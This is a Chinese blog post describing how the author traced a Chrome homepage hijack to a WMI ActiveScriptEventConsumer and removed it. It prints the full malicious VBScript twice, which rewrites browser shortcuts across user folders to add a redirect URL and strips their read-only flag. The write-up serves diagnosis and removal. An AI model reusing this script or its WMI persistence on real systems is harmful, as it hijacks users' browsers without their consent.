近两天隔一段时间打开chrome,主页就被加载到hao123,发现桌面快捷方式指向的目标后面带了一串“小尾巴”。排查了注册表和chrome主页设置,都没问题,判断可能是被劫持了。于是,google大法找着解决方案,如下
原因分析
首先检查了一下chrome的主页设置,发现没有问题,依然是原来的google.com。
然后到chrome的安装目录,直接双击打开chrome程序,没有问题。
然后检查快捷方式。因为我把chrome固定到任务栏上,一般使用的时候都是点击任务栏图标的,而实际上这只是一个快捷方式。右键任务栏chrome图标->右键Google Chrome->属性,就会弹出该快捷方式的属性窗口。发现快捷方式的目标链接已经被修改,多加了一个启动参数:
1
| "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" http://hao.169x.cn/?v=108
|
而这个网址,打开之后就会重定向到hao123.com。
原因找出来了,出现主页被胁持的原因是系统里所有跟chrome有关的快捷方式都被修改,加了一个启动参数导致每次被启动时候都会跳转到这个网址。除了任务栏快捷方式之外,开始菜单中跟chrome有关的所有快捷方式都无一幸免。
修复尝试
定位出这个原因之后,结合网上的一些方法,进行了很多的尝试,最后也没有彻底解决:
-
手动删掉所有快捷方式中的启动参数。这个方法治标不治本,本来以为这样可以解决了,结果隔了一段时间,或者重启系统之后,所有快捷方式又会被恶意修改。
-
尝试了一下参考文章2的方法,但是找不到文中所说的注册表项和隐藏文件。
-
在注册表中搜索所有跟hao123相关的内容,然后删除,但是问题仍然存在。
-
用Everything搜索本地所有跟hao123相关的文件和文件夹,但是删除之后仍然没有解决问题。
-
最后找到了参考文章1的方法,但是在WMI event viewer中找不到文中所说的_EventFilter:Name=”unown_filter”
-
重装chrome,但是一段时间之后恶心的hao123又回来了
-
把所有chrome快捷方式设为只读,但是发现一段时间之后还是被恶意修改了
解决方法
经过这些头痛的尝试之后,决定先一步一步定位出原因,首先是要看一下到底是什么程序修改了chrome快捷方式。下载Process Monitor,菜单栏Filter->filter,在弹出的窗口中,把chrome的快捷方式路径添加到监视中:
注意这时候不要对chrome进行任何操作,包括打开、右键等等,以免造成干扰。监视一段时间之后,就会发现元凶露出了真面目:
就是这个叫scrcons.exe的程序在修改chrome快捷方式。
这时候发现定位出来的原因跟这篇文章中的原因是一样的,于是再次按照文中所说的方法,用WMI Event Viewer查看WMI事件。但仍然没有在root/subscription里面找到可疑项,最后几番查找,终于在root\CIMV2里面揪出了真凶。
首先打开WMI Event Viewer,点击左上角工具栏中的Register for Events按钮,默认就会连接到root\CIMV2,直接点确定即可。
然后在Consumer in root\CIMV2 -> _EventConsumer -> ActiveScriptEventConsumer下,找到了可疑项。
双击ActiveScriptEventConsumer.Name=”VBScriptKids_consumer”,弹出属性页面:
就会发现chrome快捷方式被修改的元凶 — ScriptText:
1
| On Error Resume Next:Const link = "http://hao.169x.cn/?v=108":Const link360 = "http://hao.169x.cn/?v=108&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\chenxh\Desktop,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\chenxh\AppData\Roaming\Microsoft\Windows\Start Menu\Programs":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), browser:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictionary"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFolder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Next:
|
这个脚本定期就会被系统调用一次,所以就算手动把快捷方式的参数清空,隔一段时间之后又会重新被改回来。
这也是很多流氓软件的常用招数,具体可以参考利用WMI打造完美“三无”后门。
恶意脚本分析
上面的VB脚本用冒号作为分隔符,把一段程序写成了一个语句,为了便于理解,把这段脚本重新排版了一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | On Error Resume Next Const link = "http://hao.169x.cn/?v=108" Const link360 = "http://hao.169x.cn/?v=108&s=3" browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe" lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\chenxh\Desktop,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\chenxh\AppData\Roaming\Microsoft\Windows\Start Menu\Programs" browsersArr = split(browsers,",") Set oDic = CreateObject("scripting.dictionary") For Each browser In browsersArr oDic.Add LCase(browser), browser Next lnkpathsArr = split(lnkpaths,",") Set oFolders = CreateObject("scripting.dictionary") For Each lnkpath In lnkpathsArr oFolders.Add lnkpath, lnkpath Next Set fso = CreateObject("Scripting.Filesystemobject") Set WshShell = CreateObject("Wscript.Shell") For Each oFolder In oFolders If fso.FolderExists(oFolder) Then For Each file In fso.GetFolder(oFolder).Files If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then Set oShellLink = WshShell.CreateShortcut(file.Path) path = oShellLink.TargetPath name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path) If oDic.Exists(LCase(name)) Then If LCase(name) = LCase("360se.exe") Then oShellLink.Arguments = link360 Else oShellLink.Arguments = link End If If file.Attributes And 1 Then file.Attributes = file.Attributes - 1 End If oShellLink.Save End If End If Next End If Next |
可以看到,这段脚本就是遍历所有快捷方式目录(linkpaths)下的所有浏览器(browsers)的快捷方式,然后重新给快捷方式加上启动参数。
至此,飞到嘴里的这只臭苍蝇总算是吐出来了。这也教育我们,要支持正版系统和软件啊!!(正经脸)
张嘴谨慎点,自然不会有苍蝇飞进去了。
以上,感谢博主的经验,学习了。补充一下,退出WMI Event Viewer,以管理员权限重新打开,找到此项目,右键删除,大功告成!
参考:http://xinghao.me/2016/03/01/2016-03-01-kill-hao123/